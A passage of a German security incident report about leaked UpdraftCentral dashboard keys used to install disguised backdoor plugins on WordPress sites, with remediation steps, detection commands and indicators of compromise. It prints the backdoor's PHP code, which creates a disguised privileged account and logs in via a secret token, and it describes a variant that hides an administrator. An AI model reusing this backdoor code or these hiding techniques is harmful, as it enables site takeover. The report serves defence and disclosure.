\u00dcbergangsl\u00f6sung<\/strong><\/td>\n| die UpdraftCentral-Verbindung entfernen, die Website mit unserem Skript pr\u00fcfen, das Passwort f\u00fcr teamupdraft.com \u00e4ndern und optional UpdraftCentral-Befehle mit einem kleinen mu-Plugin sperren (siehe unten). UpdraftPlus muss nicht deinstalliert werden, Backups funktionieren weiter.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n In der Nacht zum 19. Oktober 2026 schickte ein Angreifer von der IP-Adresse 43.250.53.42<\/code> \u00fcber den Dienst UpdraftCentral den Befehl plugin.upload_plugin<\/code> an drei unserer WordPress-Websites. UpdraftCentral ist ein Dienst zur Fernverwaltung von Websites von TeamUpdraft, und sein Client steckt in jeder Kopie des Plugins UpdraftPlus. Auf zwei unserer Websites ging der Befehl durch, und WordPress installierte und aktivierte ein unbekanntes Plugin. Auf der dritten scheiterte er an den Berechtigungen.<\/p>\nDer Fehler lag nicht bei uns. Alle drei Websites liefen mit dem aktuellen WordPress 7.1.3 und UpdraftPlus 2.26.11, das gegen die Juni-Schwachstelle CVE-2026-10795 gepatcht ist. Der Angreifer ist nicht in unsere Server eingedrungen und hat keine Schw\u00e4che in unserer Konfiguration ausgenutzt. Er kam \u00fcber den Fernverwaltungskanal von UpdraftCentral und signierte seine Befehle mit g\u00fcltigen privaten Dashboard-Schl\u00fcsseln. Diese erzeugt und verwahrt der Dienst UpdraftCentral Cloud, auf unseren Servern waren sie nie. Wer sie besitzt, kann auf jeder verbundenen Website ohne Wissen des Betreibers beliebigen Code installieren und ausf\u00fchren. Deshalb halten wir das f\u00fcr ein kritisches Sicherheitsproblem des Dienstes UpdraftCentral.<\/p>\n Wer gef\u00e4hrdet ist:<\/strong> jede Website mit UpdraftPlus, kostenlos oder Premium, die mit UpdraftCentral verbunden ist, also einen UpdraftCentral-Schl\u00fcssel hat. Jede der \u00fcber 4 Millionen UpdraftPlus-Installationen enth\u00e4lt den UpdraftCentral-Client. Websites, die nicht mit UpdraftCentral verbunden sind, gef\u00e4hrdet dieser Angriff nicht, weil sie ohne Schl\u00fcssel keine UpdraftCentral-Befehle annehmen. Unsere Websites waren mit UpdraftCentral Cloud verbunden, dem von TeamUpdraft betriebenen Dashboard. Laut Hersteller sind selbst gehostete UpdraftCentral-Dashboards nicht betroffen. Abgeflossen sind aber auch die Schl\u00fcssel f\u00fcr UpdraftVault und UpdraftClone, die der Hersteller inzwischen ersetzt hat.<\/p>\nEs handelt sich nicht um die Schwachstelle CVE-2026-10795, \u00fcber die Wordfence im Juni berichtete: Gegen sie waren unsere Websites gepatcht, und Versuche, sie auszunutzen, schlugen dort fehl.<\/p>\n Das Plugin ist eine Hintert\u00fcr. \u00dcber einen geheimen Link sollte es ein Konto mit getarnten Administratorrechten anlegen und den Angreifer direkt darin anmelden. Der Autor hat jedoch einen Fehler in den Code eingebaut, sodass die Hintert\u00fcr nie funktionierte. Stattdessen brachte sie jede Anfrage an die Website zum Absturz, die nicht aus dem Cache kam, und WordPress schickte uns dar\u00fcber eine E-Mail. So fanden wir sie innerhalb von Minuten bis Stunden.<\/p>\n Wir haben den Vorfall am 19. Oktober an TeamUpdraft gemeldet und um eine Erkl\u00e4rung gebeten, wie die Schl\u00fcssel zum Angreifer gelangt sind.<\/p>\n Wenn Ihre Website mit UpdraftCentral verbunden ist, betrachten Sie sie als potenziell kompromittiert, bis Sie sie gepr\u00fcft haben.<\/strong> Entfernen Sie die Verbindung sofort und pr\u00fcfen Sie die Website wie unten beschrieben. Stand 19. Oktober 2026 haben wir keine \u00f6ffentliche Erw\u00e4hnung dieser Hintert\u00fcr oder eines \u00e4hnlichen Angriffs nach dem Juni-Fix gefunden.<\/p>\nWas Sie jetzt tun sollten<\/h2>\n1. Entfernen Sie die UpdraftCentral-Verbindung<\/h3>\n\u00d6ffnen Sie im WordPress-Admin Einstellungen \u2192 UpdraftPlus Backups \u2192 Reiter \u201eAdvanced Tools\u201c \u2192 \u201eUpdraftCentral\u201c. Klicken Sie auf \u201eManage existing keys (N)\u2026\u201c und bei jedem Schl\u00fcssel auf \u201eDelete\u2026\u201c. Steht dort kein Schl\u00fcssel, ist die Website nicht verbunden.<\/p>\n Mit Zugriff auf die Kommandozeile erledigt das derselbe Befehl im WordPress-Stammverzeichnis:<\/p>\n wp option delete updraft_central_localkeys<\/code><\/pre>\nEntfernen Sie die Website danach auch im UpdraftCentral-Dashboard (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 bei der Website \u2192 Remove site). Das Entfernen im Dashboard allein reicht nicht. Der Angreifer hat den privaten Schl\u00fcssel des Dashboards, entscheidend ist also das L\u00f6schen des Schl\u00fcssels auf der Website.<\/p>\n Laut Hersteller k\u00f6nnen Sie die Website wieder verbinden, nachdem Sie den Schl\u00fcssel gel\u00f6scht, die Website gepr\u00fcft und die Administrator-Passw\u00f6rter ge\u00e4ndert haben. \u00c4ndern Sie vorher Ihr Passwort f\u00fcr teamupdraft.com (Adresse selbst in den Browser eingeben, keinem Link aus einer E-Mail folgen), \u00e4ndern Sie dasselbe Passwort \u00fcberall, wo Sie es verwendet haben, und richten Sie die Zwei-Faktor-Authentifizierung neu ein. Falls Sie unser Sperr-mu-Plugin eingesetzt haben, entfernen Sie es vor dem erneuten Verbinden. Wer UpdraftVault nutzt, muss seine Websites mit den neuen Zugangsdaten neu verbinden.<\/p>\n 2. Pr\u00fcfen Sie, ob die Hintert\u00fcr auf Ihrer Website ist<\/h3>\nOhne Kommandozeile:<\/p>\n \n- Klicken Sie auf demselben UpdraftCentral-Bildschirm auf \u201eView recent UpdraftCentral log events\u2026\u201c. Suchen Sie nach den Zeilen \u201eCommand received: plugin.upload_plugin\u201c und \u201eprobe.central.updraftplus.com\u201c.<\/li>\n
- Suchen Sie in der Plugin-Liste nach einem Plugin mit der Beschreibung \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c und einem Namen aus zwei W\u00f6rtern und drei Zeichen, zum Beispiel \u201eLoad Stack 35C\u201c.<\/li>\n
- Ein Plugin mit der Beschreibung \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c ist die zweite Variante. Ihr Konto erscheint nicht in der Benutzerliste, pr\u00fcfen Sie die Website daher auch mit dem Skript.<\/li>\n
- Suchen Sie in der Benutzerliste nach einem Konto mit dem Namen \u201eSite Tools\u201c oder einer E-Mail-Adresse bei
@example.org<\/code>.<\/li>\n<\/ul>\nIst die Hintert\u00fcr auf der Website, funktioniert der Admin wom\u00f6glich gar nicht, weil das Plugin jede Anfrage abst\u00fcrzen l\u00e4sst. Verwenden Sie dann die Kommandozeile.<\/p>\n Mit Kommandozeile speichern Sie unser Pr\u00fcfskript vom Ende dieses Artikels als check-updraftcentral.php<\/code> im WordPress-Stammverzeichnis und f\u00fchren aus:<\/p>\nwp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\nDas Skript liest nur und \u00e4ndert nichts. Der Schalter --skip-plugins<\/code> ist wichtig, weil eine installierte Hintert\u00fcr sonst auch WP-CLI abst\u00fcrzen l\u00e4sst. Zeilen mit [ALERT]<\/code> sind Spuren des Angriffs, [WARN]<\/code> hei\u00dft pr\u00fcfen, [OK]<\/code> ist ein sauberes Ergebnis. Ein protokollierter Befehl hei\u00dft noch nicht, dass das Plugin installiert wurde (auf einer unserer Websites wurde es das nicht), deshalb pr\u00fcft das Skript auch Dateien, Datenbankoptionen und Konten. Meldet es etwas mit [ALERT]<\/code>, lesen Sie weiter bei \u201eWas tun, wenn Sie sie finden\u201c.<\/p>\nUpdraftPlus speichert im UpdraftCentral-Log nur die letzten 50 Ereignisse. Auf einer Website, die Scanner h\u00e4ufig besuchen, kann der Eintrag \u00fcber den Angriff aus dem Log fallen, und das Skript meldet dann beim Log [OK]<\/code>. Wenn Sie Zugriff auf die Logs des Webservers haben, durchsuchen Sie auch diese (Pfad an Ihren Server anpassen, bei nginx etwa \/var\/log\/nginx\/<\/code>):<\/p>\ngrep 'class-udrpc.php"' \/var\/log\/apache2\/*access*<\/code><\/pre>\nDer Befehl findet UpdraftCentral-Anfragen ohne Bibliotheksversion im User-Agent-Header, wie sie der Angreifer geschickt hat. Das echte Dashboard sendet class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, der Befehl erfasst es also nicht.<\/p>\n3. Optional: Sperren Sie UpdraftCentral-Befehle vollst\u00e4ndig<\/h3>\nWenn Sie sicher sein wollen, dass die Website keinen UpdraftCentral-Befehl ausf\u00fchrt, selbst wenn noch ein Schl\u00fcssel darauf liegt, speichern Sie im Verzeichnis wp-content\/mu-plugins\/<\/code> eine Datei block-updraftcentral.php<\/code> mit diesem Inhalt:<\/p>\n<?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST['udrpc_message'] ) ) {\n http_response_code( 403 );\n exit;\n}<\/code><\/pre>\nWordPress l\u00e4dt Dateien in mu-plugins<\/code> vor den regul\u00e4ren Plugins, die Anfrage endet also, bevor UpdraftPlus sie verarbeitet. Das sperrt auch die Migration von Websites \u00fcber UpdraftPlus Migrator, der denselben Kanal nutzt. L\u00f6schen Sie die Datei, sobald der Hersteller das Problem erkl\u00e4rt und behoben hat.<\/p>\nWie wir darauf gesto\u00dfen sind<\/h2>\nUm 5:38 erhielten wir eine automatische WordPress-E-Mail: \u201eWordPress caught an error with one of your plugins, Load Stack 35C.\u201c Ein Plugin dieses Namens hatten wir nie installiert. Die Fehlermeldung lautete Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code>, und seit 4:14 beantwortete unsere Website jede Anfrage mit Fehler 500.<\/p>\nAlle Dateien im Verzeichnis wp-content\/plugins\/load-stack-35c\/<\/code> hatten dieselbe \u00c4nderungszeit, 4:14:30. Eine Sekunde sp\u00e4ter \u00e4nderte sich das Verzeichnis wp-content\/upgrade\/<\/code>, das WordPress zum Entpacken installierter Plugins nutzt. Das Plugin kam also \u00fcber den regul\u00e4ren WordPress-Installer, nicht als auf die Platte gelegte Datei. Genau in dieser Sekunde steht im Access-Log eine einzige Anfrage:<\/p>\n43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] "POST \/ HTTP\/1.1" 200 8454 "-" "WordPress\/6.4; class-udrpc.php"<\/code><\/pre>\nclass-udrpc.php<\/code> ist die Bibliothek, \u00fcber die UpdraftPlus Befehle von UpdraftCentral empf\u00e4ngt. Ihr eigenes Log (die Datenbankoption updraftcentral_client_log<\/code>) best\u00e4tigte es: Command received: plugin.upload_plugin<\/code>.<\/p>\nZeitablauf<\/h2>\nWir bezeichnen die Websites als A, B und C. Alle Zeiten in MESZ. Alle Anfragen kamen von 43.250.53.42<\/code> (Hoster RedSwitches) mit dem User-Agent-Header WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n\n\n\n\n| Website C<\/td>\n | 19.10. 0:41:32<\/td>\n | 6:05:31<\/td>\n | gescheitert, der Schl\u00fcssel geh\u00f6rte einem Benutzer ohne Recht, Plugins zu installieren<\/td>\n<\/tr>\n | \n| Website A<\/td>\n | 2:14:05<\/td>\n | 4:14:30<\/td>\n | Hintert\u00fcr \u201eLoad Stack 35C\u201c aktiv, Website bis 6:13 nicht erreichbar<\/td>\n<\/tr>\n | \n| Website B<\/td>\n | 2:39:44<\/td>\n | 6:53:49<\/td>\n | Hintert\u00fcr \u201eText Gantry Eb0\u201c aktiv, um 6:56 entfernt<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n Die Sondierung ist eine Nachricht an einen nicht existierenden Schl\u00fcssel, probe.central.updraftplus.com<\/code>. Die Website antwortet, dass sie die Nachricht nicht versteht, und verr\u00e4t damit, dass sie UpdraftCentral-Befehle annimmt. Den n\u00e4chsten Befehl schickte der Angreifer bereits an den echten Schl\u00fcssel 0.central.updraftplus.com<\/code>. Auf allen drei Websites lief der Angriff gleich ab, vom selben Angreifer, im Abstand weniger Stunden.<\/p>\nWie der Angriff ablief<\/h2>\nBeim Verbinden mit UpdraftCentral erzeugt die Website ein RSA-Schl\u00fcsselpaar und schickt den \u00f6ffentlichen Schl\u00fcssel an den Dienst UpdraftCentral Cloud. Der Dienst hat ein eigenes Schl\u00fcsselpaar und schickt der Website nur seinen \u00f6ffentlichen Schl\u00fcssel. Der private Schl\u00fcssel des Dashboards bleibt beim Dienst. Jeder Befehl muss f\u00fcr den Schl\u00fcssel der Website verschl\u00fcsselt und mit dem privaten Schl\u00fcssel des Dashboards signiert sein. Die Website f\u00fchrt ihn dann mit den Rechten des Benutzers aus, der den Schl\u00fcssel in WordPress angelegt hat.<\/p>\n Der Befehl plugin.upload_plugin<\/code> bestand auf zwei Websites diese gesamte Pr\u00fcfung. Website A haben wir im Detail untersucht und folgende Erkl\u00e4rungen ausgeschlossen:<\/p>\n\n- Die bekannte Schwachstelle CVE-2026-10795.<\/strong> Sie betrifft UpdraftPlus bis 1.26.4 (Premium bis 2.26.4). Unsere Websites liefen mit 2.26.11. Ausnutzungsversuche sehen wir in den Logs der Websites B und C seit Juni, von Dutzenden IP-Adressen, und alle endeten mit \u201eCould not decrypt incoming message\u201c.<\/li>\n
- Ein ver\u00e4ndertes Plugin.<\/strong> Die Dateien
class-udrpc2.php<\/code>, central\/bootstrap.php<\/code>, central\/listener.php<\/code> und central\/host.php<\/code> sind Byte f\u00fcr Byte identisch mit der offiziellen Version 1.26.11 von wordpress.org.<\/li>\n- Das \u00e4ltere unsignierte Nachrichtenformat.<\/strong> Der Code lehnt es f\u00fcr UpdraftCentral-Schl\u00fcssel ab, und der Eintrag \u201eCommand received\u201c entsteht erst nach dieser Pr\u00fcfung.<\/li>\n
- Ein untergeschobener Dashboard-Schl\u00fcssel.<\/strong> Die Schl\u00fcssel-Fingerabdr\u00fccke sind in den t\u00e4glichen Backups vom 15. bis 18. Oktober und in der Live-Datenbank gleich, und in den Access-Logs hat niemand die Funktion zum Schl\u00fcsseltausch aufgerufen.<\/li>\n
- Schwache Kryptografie.<\/strong> Website- und Dashboard-Schl\u00fcssel sind RSA mit 2048 Bit und Exponent 65537, und UpdraftPlus enth\u00e4lt phpseclib 2.0.55, in dem der bekannte Fehler bei der Signaturpr\u00fcfung behoben ist.<\/li>\n
- Ein kompromittierter wp-admin.<\/strong> Es sind keine unbekannten Administratoren hinzugekommen, die Pr\u00fcfsummen von Kern und Plugins stimmen, und die Logs zeigen keinen Plugin-Upload \u00fcber den Admin.<\/li>\n<\/ol>\n
Der Angreifer besa\u00df also die privaten Dashboard-Schl\u00fcssel aller drei Verbindungen gleichzeitig. Auf unseren Servern waren diese Schl\u00fcssel nie, sie konnten von dort also nicht abflie\u00dfen. Die Befehle kamen auch nicht von einem Server von TeamUpdraft. Das echte Dashboard schickte im M\u00e4rz und April 2026 Befehle an Website B mit diesem User-Agent-Header:<\/p>\n WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\nDer Angreifer schickte WordPress\/6.4; class-udrpc.php<\/code>, ohne Bibliotheksversion und ohne URL, von seinem eigenen Server. Die Schl\u00fcssel sind also aus der Umgebung von UpdraftCentral Cloud abgeflossen, und der Angreifer hat sie au\u00dferhalb davon verwendet.<\/p>\nTeamUpdraft best\u00e4tigte am 19. Oktober, dass ein Angreifer am Wochenende des 17. und 18. Oktober Zugriff auf teamupdraft.com und wahrscheinlich auch auf die Kundendatenbank einschlie\u00dflich der UpdraftCentral-Schl\u00fcssel hatte. Die Schl\u00fcssel sind also aus der Infrastruktur des Herstellers abgeflossen. Das passt zum Zeitablauf: Die Schl\u00fcssel f\u00fcr die Websites B und C existierten seit November 2025, und der Angreifer verwendete sie erst in der Nacht vom 18. auf den 19. Oktober, also direkt nach dem Einbruch. Wie der Angreifer in teamupdraft.com eingedrungen ist, hat der Hersteller nicht mitgeteilt.<\/p>\n Auf Website C scheiterte der Angriff durch Zufall. Den Schl\u00fcssel hatte dort im November 2025 ein Benutzer angelegt, der kein Administrator mehr ist. Vor der Installation pr\u00fcft UpdraftCentral, ob der Eigent\u00fcmer des Schl\u00fcssels die Rechte install_plugins<\/code> und activate_plugins<\/code> hat. Er hatte keines davon.<\/p>\nWarum das ein kritisches UpdraftCentral-Problem ist<\/h2>\nDer UpdraftCentral-Client ist Teil jeder Kopie von UpdraftPlus, kostenlos wie Premium. Er wird aktiv, sobald der Betreiber die Website mit dem Dashboard verbindet. Ab dann f\u00fchrt die Website jeden mit dem Dashboard-Schl\u00fcssel signierten Befehl mit den Rechten des Administrators aus, der die Verbindung angelegt hat, einschlie\u00dflich Upload und Aktivierung beliebiger Plugins. Der Betreiber best\u00e4tigt den Befehl nicht, und in unserem Fall hat uns nichts darauf hingewiesen. Die Schl\u00fcssel auf der Website haben kein Ablaufdatum: Die vom November 2025 funktionierten auch im Oktober 2026.<\/p>\n Die Sicherheit aller verbundenen Websites h\u00e4ngt damit an einer einzigen Annahme: dass die privaten Dashboard-Schl\u00fcssel nicht abflie\u00dfen. Sie sind abgeflossen, und der Angreifer hat von einem Ort aus innerhalb weniger Stunden zwei Websites \u00fcbernommen und es bei einer dritten versucht. UpdraftPlus hat \u00fcber 4 Millionen aktive Installationen. Unter den Backup-Plugins auf wordpress.org hat nur All-in-One WP Migration (5+ Millionen) mehr Installationen, und das ist vor allem ein Migrationswerkzeug. Nur ein Teil der UpdraftPlus-Nutzer verwendet UpdraftCentral, aber auch ein kleiner Anteil von 4 Millionen sind viele Websites.<\/p>\n Derselbe Kanal hat schon einmal versagt. Im Juni 2026 behob der Hersteller die Schwachstelle CVE-2026-10795 (CVSS 8.1), \u00fcber die ein Angreifer ohne Anmeldung UpdraftCentral-Befehle f\u00e4lschen und ein sch\u00e4dliches Plugin installieren und aktivieren konnte. Ausnutzungsversuche fangen wir in unseren Logs bis heute ab.<\/p>\n Was die Hintert\u00fcr genau tut<\/h2>\nDas Plugin hat f\u00fcnf Dateien, Logik enth\u00e4lt aber nur die Hauptdatei. Hier der relevante Teil der Probe von Website A. Token und Passwort haben wir gek\u00fcrzt:<\/p>\n define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH\u2026' ); \/\/ 32 Zeichen\ndefine( 'LOADSTACK35C_FIELD', '_9f5696' );\ndefine( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );\ndefine( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw\u2026' ); \/\/ 22 Zeichen\n\nfinal class LoadStack35c {\n private function __construct() {\n add_action( 'init', array( $this, 'handle_sync' ), 1 );\n }\n\n public function handle_sync() {\n if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n $user = get_user_by( 'login', self::SVC_LOGIN );\n if ( ! $user ) {\n $uid = wp_insert_user( array(\n 'user_login' => self::SVC_LOGIN,\n 'user_pass' => self::SVC_PASS,\n 'user_email' => self::SVC_LOGIN . '@example.org',\n 'display_name' => 'Site Tools',\n 'role' => 'editor',\n ) );\n if ( is_wp_error( $uid ) ) return;\n $u = new WP_User( $uid );\n $u->add_cap( 'manage_options' );\n $u->add_cap( 'install_plugins' );\n $user = get_user_by( 'id', $uid );\n }\n wp_set_current_user( $user->ID, $user->user_login );\n wp_set_auth_cookie( $user->ID, true, is_ssl() );\n wp_safe_redirect( admin_url( 'index.php' ) );\n exit;\n }\n }\n}\n\nregister_activation_hook( __FILE__, function () {\n if ( ! get_option( 'load_stack_35c_sync_token' ) ) {\n update_option( 'load_stack_35c_sync_token', 'j0j8nxxH\u2026', false );\n }\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\nSo w\u00fcrde es funktionieren, wenn es keinen Fehler enthielte:<\/p>\n \n- Bei jeder Anfrage an die Website h\u00e4ngt es sich mit Priorit\u00e4t 1 an die Aktion
init<\/code>, also fr\u00fcher als die meisten anderen Plugins.<\/li>\n- Es pr\u00fcft, ob die URL den Parameter
?_9f5696=<\/code> enth\u00e4lt, und vergleicht dessen Wert mit einem 32-stelligen Token. Es vergleicht mit hash_equals<\/code>, das unabh\u00e4ngig von einer \u00dcbereinstimmung gleich lange dauert, sodass sich das Token nicht \u00fcber Antwortzeiten erraten l\u00e4sst. Ohne das richtige Token passiert nichts, und die Website verh\u00e4lt sich normal.<\/li>\n- Mit dem richtigen Token legt es den Benutzer
data-ops43<\/code> an, mit einem im Plugin hinterlegten Passwort, der E-Mail data-ops43@example.org<\/code> und dem Anzeigenamen \u201eSite Tools\u201c.<\/li>\n- Es gibt ihm die Rolle Editor und dazu zwei einzelne Berechtigungen:
manage_options<\/code> und install_plugins<\/code>.<\/li>\n- Es meldet den Besucher als diesen Benutzer \u00fcber
wp_set_auth_cookie<\/code> mit \u201eAngemeldet bleiben\u201c an, also mit einem 14 Tage g\u00fcltigen Cookie. Das Anmeldeformular wird dabei komplett umgangen, deshalb greifen weder Zwei-Faktor-Authentifizierung noch Begrenzung der Anmeldeversuche noch der Anmeldeschutz von Wordfence.<\/li>\n- Es leitet ihn in den Admin weiter.<\/li>\n<\/ol>\n
Die Rolle Editor mit zwei zus\u00e4tzlichen Berechtigungen ist Absicht. In der Benutzerliste erscheint das Konto als Editor, nicht als Administrator, und f\u00e4llt bei einer \u00fcblichen Durchsicht der Admins nicht auf. Praktisch hat es aber die volle Kontrolle \u00fcber die Website:<\/p>\n \ninstall_plugins<\/code> erlaubt den Upload beliebiger Plugins. Deren PHP-Dateien lassen sich auch ohne Aktivierung direkt per URL aufrufen, also beliebiger Code auf dem Server.<\/li>\nmanage_options<\/code> \u00f6ffnet alle Einstellungen. Registrierung einschalten und die Standardrolle auf Administrator setzen gen\u00fcgt, und der Angreifer legt sich einen vollwertigen Admin an.<\/li>\n- Ein Editor hat bei einer normalen WordPress-Installation auch
unfiltered_html<\/code> und kann damit JavaScript in Beitr\u00e4ge einf\u00fcgen, das im Browser jedes Administrators l\u00e4uft.<\/li>\n<\/ul>\nDie Hintert\u00fcr hat noch eine zweite Ebene. Das angelegte Konto mit bekanntem Passwort bleibt in WordPress auch nach dem Entfernen des Plugins bestehen, und der Angreifer kann sich damit \u00fcber das normale Anmeldeformular einloggen, sofern f\u00fcr dieses Konto keine Zwei-Faktor-Authentifizierung aktiv ist.<\/p>\n Der Fehler, der uns gerettet hat<\/h3>\nDie Konstanten sind mit define()<\/code> als globale Konstanten definiert (LOADSTACK35C_FIELD<\/code>), der Code liest sie aber als Klassenkonstanten (self::FIELD<\/code>). Die Klasse hat keine Konstanten. PHP 8 wirft deshalb beim ersten Auswerten von self::FIELD<\/code> den Fehler Error: Undefined constant LoadStack35c::FIELD<\/code>. Das passiert noch vor der Token-Pr\u00fcfung, also bei jeder Anfrage: beim normalen Besuch, im Admin, beim Login, in der REST-API, bei Cron und in WP-CLI. Die Website f\u00e4llt mit Fehler 500 aus und liefert nur Seiten aus dem Cache.<\/p>\nDie Installationsanfrage selbst lief erfolgreich durch. UpdraftCentral verarbeitet Befehle erst in der Aktion wp_loaded<\/code>, die nach init<\/code> kommt, in dieser Anfrage lief der fehlerhafte Code also nicht. Der Angreifer bekam eine Erfolgsbest\u00e4tigung und erfuhr aus der Antwort nichts von dem Fehler. Erst die folgenden Anfragen st\u00fcrzten ab.<\/p>\nDer Angreifer muss nur ein paar Zeichen korrigieren, und die n\u00e4chste Welle kann funktionieren. Wenn Sie ein \u00e4hnliches \u201ekaputtes\u201c Plugin finden, reparieren Sie es nicht.<\/strong> Eine Reparatur w\u00fcrde die Hintert\u00fcr einschalten. Entfernen Sie es.<\/p>\nWeitere Details<\/h3>\n\n- Das Plugin gibt sich als gew\u00f6hnliche Erweiterung: vollst\u00e4ndiger Header, GPL-Lizenz,
Text Domain<\/code>, die Beschreibung \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c und ein erfundener Herausgeber (\u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c).<\/li>\n- Die Dateien
assets\/public.css<\/code>, assets\/public.js<\/code> und languages\/readme.txt<\/code> enthalten nur einen Kommentar. Das Plugin nutzt sie nirgends, sie sollen das Verzeichnis wie ein echtes Plugin aussehen lassen.<\/li>\nuninstall.php<\/code> l\u00f6scht beim Deinstallieren \u00fcber den Admin die Optionen <slug>_sync_token<\/code> und <slug>_setup_stamp<\/code> und damit die eigenen Spuren. Die zweite Option legt der Code nirgends an, sie ist ein \u00dcberbleibsel der Vorlage.<\/li>\n- Bei der Aktivierung speichert es das Token in der Option
<slug>_sync_token<\/code> ohne Autoload. Der Code liest sie nirgends.<\/li>\n- Beide Proben stammen aus demselben Generator. Ersetzt man Namen, Tokens, Benutzernamen und Versionen durch Platzhalter, sind alle Dateien Byte f\u00fcr Byte identisch. Der Name folgt dem Muster
wort-wort-3 Hex-Zeichen<\/code>, der Parameter ist _<\/code> plus 6 Hex-Zeichen, der Benutzer wort-wort<\/code> plus zwei Ziffern. Das Token hat 32 Zeichen, das Passwort 22 Zeichen (Buchstaben, Ziffern, Unterstrich).<\/li>\n<\/ul>\nIndikatoren einer Kompromittierung<\/h2>\n\n\n\n\n| Plugin-Verzeichnis<\/td>\n | load-stack-35c<\/code><\/td>\ntext-gantry-eb0<\/code><\/td>\n<\/tr>\n\n| Name \/ Autor \/ Version<\/td>\n | Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n | Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n | \n| URL-Parameter<\/td>\n | _9f5696<\/code><\/td>\n_3e9caa<\/code><\/td>\n<\/tr>\n\n| Benutzer<\/td>\n | data-ops43<\/code><\/td>\nmedia-staff96<\/code><\/td>\n<\/tr>\n\n| Datenbankoption<\/td>\n | load_stack_35c_sync_token<\/code><\/td>\ntext_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n\n| SHA-256 der Hauptdatei<\/td>\n | 3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\nbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n\nSHA-256 von uninstall.php<\/code><\/td>\n4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\nWeitere Proben der ersten Variante haben uns andere Betroffene geschickt, weitere Namen nennt Patchstack:<\/p>\n \nhero-frame-2c5<\/code>, Autor \u201eCopperForge WP\u201c, Benutzer mit E-Mail render-build21@example.org<\/code>, SHA-256 der Hauptdatei a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, uninstall.php<\/code> 325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\ncard-binder-104<\/code>, Version 2.6.7, Benutzer render.desk87<\/code><\/li>\n- laut Patchstack zum Beispiel \u201eSite Health Cache\u201c, \u201eAsset Forge 2\u201c, \u201eContent Helper\u201c und \u201eWp Forge\u201c, insgesamt 99 Namen<\/li>\n<\/ul>\n
Gemeinsame Merkmale:<\/p>\n \n- IP-Adressen
43.250.53.42<\/code> und 2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent genau WordPress\/6.4; class-udrpc.php<\/code>, Anfrage POST \/<\/code><\/li>\n- im UpdraftCentral-Log die Sondierung
probe.central.updraftplus.com<\/code> und einige Stunden sp\u00e4ter Command received: plugin.upload_plugin<\/code><\/li>\n- die Plugin-Beschreibung \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c<\/li>\n
- ein Benutzer mit E-Mail bei
@example.org<\/code> und Anzeigename \u201eSite Tools\u201c, mit der Rolle Editor und den Berechtigungen manage_options<\/code> und install_plugins<\/code><\/li>\n- der fatale Fehler
Undefined constant <Klasse>::FIELD<\/code> und eine WordPress-E-Mail \u00fcber einen Fehler in einem Plugin, das Sie nicht kennen<\/li>\n<\/ul>\nDie zweite Variante: ein versteckter Administrator<\/h2>\nDiese Variante haben wir nicht selbst analysiert. Beschreibung und Indikatoren stammen von einem Administrator von rund 145 Websites, von denen drei getroffen wurden. Eine erhielt die oben beschriebene Variante, die beiden anderen ein anderes Plugin. Patchstacks Analyse f\u00fchrt diese Variante bisher nicht.<\/p>\n \n- Namen: \u201eSrc Lab\u201c (
src-lab<\/code>, Autor \u201eWPBridge\u201c, Version 3.0.0) und \u201eRender Helper 232b\u201c (render-helper-232b<\/code>, Version 3.7.9).<\/li>\n- Beschreibung: \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c Zur Tarnung f\u00fcgt das Plugin tats\u00e4chlich einen t\u00e4glichen Cron hinzu, der abgelaufene Transients l\u00f6scht, sowie einen jQuery-Filter f\u00fcr AMP-Seiten.<\/li>\n
- Ausl\u00f6ser: ein Parameter, dessen Name aus 12 Hex-Zeichen besteht, und ein 32-stelliges Token, zum Beispiel
?303541c9dfd0=\u2026&m=setup<\/code>. Der Modus m=setup<\/code> legt einen Administrator<\/strong> an (zum Beispiel cmseditor170@example.com<\/code> oder web_mgr684@example.com<\/code>), der Modus m=svc<\/code> meldet den Besucher in diesem Konto an. Ohne m<\/code> meldet es den Besucher als ersten vorhandenen Administrator der Website<\/strong> an.<\/li>\n- Die ID des angelegten Kontos speichert es in der Option
<slug>_uid<\/code>, zum Beispiel src_lab_uid<\/code>.<\/li>\n- Es versteckt das Konto: ein
pre_user_query<\/code>-Hook entfernt es aus der Benutzerliste, ein pre_count_users<\/code>-Filter senkt die Zahl der Administratoren um eins. Im Admin sehen Sie es also nicht.<\/li>\n- Es hat keine
uninstall.php<\/code>. Bei der Deaktivierung l\u00f6scht es nur die Option <slug>_installed<\/code>.<\/li>\n- SHA-256 von
